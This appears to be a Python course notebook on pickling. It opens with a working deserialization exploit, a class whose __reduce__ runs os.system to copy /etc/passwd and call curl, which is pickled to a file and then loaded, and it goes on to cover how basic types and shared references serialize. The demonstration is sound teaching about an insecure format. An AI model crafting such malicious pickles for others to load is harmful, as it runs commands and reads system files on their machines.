{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Pickling"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Not Secure!"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Pickling is not a secure way to deserialize data objects. **DO NOT** unpickle anything you did not pickle yourself. You have been **WARNED**!"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Here's how easy it is to create an exploit.\n",
    "\n",
    "I am going to pickle an object that is going to use the unix shell (admittedly this will not work on Windows, but it could with some more complicated code - plus I don't need this to run on every machine in the world, just as many as possible - at least that's the mindset if I were a hacker I guess)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [],
   "source": [
    "import os\n",
    "import pickle\n",
    "\n",
    "\n",
    "class Exploit():\n",
    "    def __reduce__(self):\n",
    "        return (os.system, (\"cat /etc/passwd > exploit.txt && curl www.google.com >> exploit.txt\",))\n",
    "\n",
    "\n",
    "def serialize_exploit(fname):\n",
    "    with open(fname, 'wb') as f:\n",
    "        pickle.dump(Exploit(), f)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now, I serialize this code to a file:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [],
   "source": [
    "serialize_exploit('loadme')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now I send this file to some unsuspecting recipients and tell them they just need to load this up in their Python app. They deserialize the pickled object like so:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "0"
      ]
     },
     "execution_count": 3,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "import pickle\n",
    "\n",
    "pickle.load(open('loadme', 'rb'))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "And now take a look at your folder that contains this notebook!"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Pickling Dictionaries"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "In this part of the course I am only going to discuss pickling basic data types such as numbers, strings, tuples, lists, sets and dictionaries.\n",
    "\n",
    "In general tuples, lists, sets and dictionaries are all picklable as long as their elements are themselves picklable."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Let's start by serializing some simple data types, such as strings and numbers.\n",
    "\n",
    "Instead of serializing to a file, I will store the resulting pickle data in a variable, so we can easily inspect it and unpickle it:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [],
   "source": [
    "import pickle"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [],
   "source": [
    "ser = pickle.dumps('Python Pickled Peppers')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'\\x80\\x03X\\x16\\x00\\x00\\x00Python Pickled Peppersq\\x00.'"
      ]
     },
     "execution_count": 6,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "ser"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We can deserialize the data this way:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [],
   "source": [
    "deser = pickle.loads(ser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'Python Pickled Peppers'"
      ]
     },
     "execution_count": 8,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "deser"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We can do the same thing with numerics:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [],
   "source": [
    "ser = pickle.dumps(3.14)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'\\x80\\x03G@\\t\\x1e\\xb8Q\\xeb\\x85\\x1f.'"
      ]
     },
     "execution_count": 10,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "ser"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [],
   "source": [
    "deser = pickle.loads(ser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "3.14"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "deser"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We can do the same with lists and tuples:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [],
   "source": [
    "d = [10, 20, ('a', 'b', 30)]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [],
   "source": [
    "ser = pickle.dumps(d)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'\\x80\\x03]q\\x00(K\\nK\\x14X\\x01\\x00\\x00\\x00aq\\x01X\\x01\\x00\\x00\\x00bq\\x02K\\x1e\\x87q\\x03e.'"
      ]
     },
     "execution_count": 15,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "ser"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [],
   "source": [
    "deser = pickle.loads(ser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "[10, 20, ('a', 'b', 30)]"
      ]
     },
     "execution_count": 17,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "deser"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Note that the original and the deserialized objects are equal, but not identical:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "(False, True)"
      ]
     },
     "execution_count": 18,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "d is deser, d == deser"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "This works the same way with sets too:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [],
   "source": [
    "s = {'a', 'b', 'x', 10}"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{10, 'a', 'b', 'x'}"
      ]
     },
     "execution_count": 20,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "s"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "b'\\x80\\x03cbuiltins\\nset\\nq\\x00]q\\x01(X\\x01\\x00\\x00\\x00aq\\x02K\\nX\\x01\\x00\\x00\\x00xq\\x03X\\x01\\x00\\x00\\x00bq\\x04e\\x85q\\x05Rq\\x06.'\n"
     ]
    }
   ],
   "source": [
    "ser = pickle.dumps(s)\n",
    "print(ser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'a', 10, 'b', 'x'}\n"
     ]
    }
   ],
   "source": [
    "deser = pickle.loads(ser)\n",
    "print(deser)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "And finally, we can pickle dictionaries as well:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [],
   "source": [
    "d = {'b': 1, 'a': 2, 'c': {'x': 10, 'y': 20}}"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'b': 1, 'a': 2, 'c': {'x': 10, 'y': 20}}\n"
     ]
    }
   ],
   "source": [
    "print(d)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [],
   "source": [
    "ser = pickle.dumps(d)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'\\x80\\x03}q\\x00(X\\x01\\x00\\x00\\x00bq\\x01K\\x01X\\x01\\x00\\x00\\x00aq\\x02K\\x02X\\x01\\x00\\x00\\x00cq\\x03}q\\x04(X\\x01\\x00\\x00\\x00xq\\x05K\\nX\\x01\\x00\\x00\\x00yq\\x06K\\x14uu.'"
      ]
     },
     "execution_count": 26,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "ser"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {},
   "outputs": [],
   "source": [
    "deser = pickle.loads(ser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 28,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'b': 1, 'a': 2, 'c': {'x': 10, 'y': 20}}\n"
     ]
    }
   ],
   "source": [
    "print(deser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 29,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "d == deser"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "What happens if we pickle a dictionary that has two of it's values set to another dictionary?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 30,
   "metadata": {},
   "outputs": [],
   "source": [
    "d1 = {'a': 10, 'b': 20}\n",
    "d2 = {'x': 100, 'y': d1, 'z': d1}"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'x': 100, 'y': {'a': 10, 'b': 20}, 'z': {'a': 10, 'b': 20}}\n"
     ]
    }
   ],
   "source": [
    "print(d2)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Let's say we pickle `d2`:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [],
   "source": [
    "ser = pickle.dumps(d2)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now let's unpickle that object:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 33,
   "metadata": {},
   "outputs": [],
   "source": [
    "d3 = pickle.loads(ser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'x': 100, 'y': {'a': 10, 'b': 20}, 'z': {'a': 10, 'b': 20}}"
      ]
     },
     "execution_count": 34,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "d3"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "That seems to work... Is that sub-dictionary still the same as the original one?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 35,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 35,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "d3['y'] == d2['y']"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 36,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "False"
      ]
     },
     "execution_count": 36,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "d3['y'] is d2['y']"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "But consider the original dictionary `d2`: both the `x` and `y` keys referenced the **same** dictionary `d1`:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 37,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 37,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "d2['y'] is d2['z']"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "How did this work with our deserialized dictionary?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 38,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "d3['y'] == d3['z']"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As you can see the relative shared object is maintained."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As you can see our dictionary `d` looks like the earlier one. So, when Python serializes the dictionary, it behaves very similarly to serializing a deep copy of the dictionary. The same thing happens with other collections types such as lists, sets, and tuples."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "What this means though is that you have to be very careful how you use serialization and deserialization.\n",
    "\n",
    "Consider this piece of code:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 39,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'a': 1, 'b': 2}\n",
      "{'x': 10, 'y': {'a': 1, 'b': 2}}\n",
      "{'a': 1, 'b': 2, 'c': 3}\n",
      "{'x': 10, 'y': {'a': 1, 'b': 2, 'c': 3}}\n"
     ]
    }
   ],
   "source": [
    "d1 = {'a': 1, 'b': 2}\n",
    "d2 = {'x': 10, 'y': d1}\n",
    "print(d1)\n",
    "print(d2)\n",
    "d1['c'] = 3\n",
    "print(d1)\n",
    "print(d2)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now suppose we pickle our dictionaries to restore those values the next time around, but use the same code, expecting the same result:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 40,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'a': 1, 'b': 2}\n",
      "{'x': 10, 'y': {'a': 1, 'b': 2}}\n",
      "{'a': 1, 'b': 2, 'c': 3}\n",
      "{'x': 10, 'y': {'a': 1, 'b': 2}}\n"
     ]
    }
   ],
   "source": [
    "d1 = {'a': 1, 'b': 2}\n",
    "d2 = {'x': 10, 'y': d1}\n",
    "d1_ser = pickle.dumps(d1)\n",
    "d2_ser = pickle.dumps(d2)\n",
    "\n",
    "# simulate exiting the program, or maybe just restarting the notebook\n",
    "del d1\n",
    "del d2\n",
    "\n",
    "# load the data back up\n",
    "d1 = pickle.loads(d1_ser)\n",
    "d2 = pickle.loads(d2_ser)\n",
    "\n",
    "# and continue processing as before\n",
    "print(d1)\n",
    "print(d2)\n",
    "d1['c'] = 3\n",
    "print(d1)\n",
    "print(d2)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "So just remember that as soon as you pickle a dictionary, whatever object references it had to another object is essentially lost - just as if you had done a deep copy first. It's a subtle point, but one that can easily lead to bugs if we're not careful."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "However, the pickle module is relatively intelligent and will not re-pickle an object it has already pickled - which means that **relative** references are preserved.\n",
    "\n",
    "Let's see an example of what I mean by this:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 41,
   "metadata": {},
   "outputs": [],
   "source": [
    "class Person:\n",
    "    def __init__(self, name, age):\n",
    "        self.name = name\n",
    "        self.age = age\n",
    "    \n",
    "    def __eq__(self, other):\n",
    "        return self.name == other.name and self.age == other.age\n",
    "    \n",
    "    def __repr__(self):\n",
    "        return f'Person(name={self.name}, age={self.age})'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 42,
   "metadata": {},
   "outputs": [],
   "source": [
    "john = Person('John Cleese', 79)\n",
    "eric = Person('Eric Idle', 75)\n",
    "michael = Person('Michael Palin', 75)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 43,
   "metadata": {},
   "outputs": [],
   "source": [
    "parrot_sketch = {\n",
    "    \"title\": \"Parrot Sketch\",\n",
    "    \"actors\": [john, michael]\n",
    "}\n",
    "\n",
    "ministry_sketch = {\n",
    "    \"title\": \"Ministry of Silly Walks\",\n",
    "    \"actors\": [john, michael]\n",
    "}\n",
    "\n",
    "joke_sketch = {\n",
    "    \"title\": \"Funniest Joke in the World\",\n",
    "    \"actors\": [eric, michael]\n",
    "}"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 44,
   "metadata": {},
   "outputs": [],
   "source": [
    "fan_favorites = {\n",
    "    \"user_1\": [parrot_sketch, joke_sketch],\n",
    "    \"user_2\": [parrot_sketch, ministry_sketch]\n",
    "}"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 45,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{'user_1': [{'actors': [Person(name=John Cleese, age=79),\n",
      "                        Person(name=Michael Palin, age=75)],\n",
      "             'title': 'Parrot Sketch'},\n",
      "            {'actors': [Person(name=Eric Idle, age=75),\n",
      "                        Person(name=Michael Palin, age=75)],\n",
      "             'title': 'Funniest Joke in the World'}],\n",
      " 'user_2': [{'actors': [Person(name=John Cleese, age=79),\n",
      "                        Person(name=Michael Palin, age=75)],\n",
      "             'title': 'Parrot Sketch'},\n",
      "            {'actors': [Person(name=John Cleese, age=79),\n",
      "                        Person(name=Michael Palin, age=75)],\n",
      "             'title': 'Ministry of Silly Walks'}]}\n"
     ]
    }
   ],
   "source": [
    "from pprint import pprint\n",
    "pprint(fan_favorites)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As you can see we have some shared references, for example:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 46,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 46,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "fan_favorites['user_1'][0] is fan_favorites['user_2'][0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Let's store the id of the `parrot_sketch` for later reference:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 47,
   "metadata": {},
   "outputs": [],
   "source": [
    "parrot_id_original = id(parrot_sketch)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now let's pickle and unpickle this object:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 48,
   "metadata": {},
   "outputs": [],
   "source": [
    "ser = pickle.dumps(fan_favorites)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 49,
   "metadata": {},
   "outputs": [],
   "source": [
    "new_fan_favorites = pickle.loads(ser)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 50,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 50,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "fan_favorites == new_fan_favorites"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "And let's look at the `id` of the parrot_sketch object in our new dictionary compared to the original one:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 51,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "(4554999848, 4555001288)"
      ]
     },
     "execution_count": 51,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "id(fan_favorites['user_1'][0]), id(new_fan_favorites['user_1'][0])"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As expected the id's differ - but the objects are equal:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 52,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 52,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "fan_favorites['user_1'][0] == new_fan_favorites['user_1'][0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "But now let's look at the parrot sketch that is in both `user_1` and `user_2` - remember that originally the objects were identical (`is`):"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 53,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 53,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "fan_favorites['user_1'][0] is fan_favorites['user_2'][0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "and with our new object:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 54,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "True"
      ]
     },
     "execution_count": 54,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "new_fan_favorites['user_1'][0] is new_fan_favorites['user_2'][0]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As you can see the **relative** relationship between objects that were pickled is **preserved**."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "And that's all I'm really going to say about pickling objects in Python. Instead I'm going to focus more on what is probably a more relevant topic to many of you - JSON serialization/deserialization."
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.6.7"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
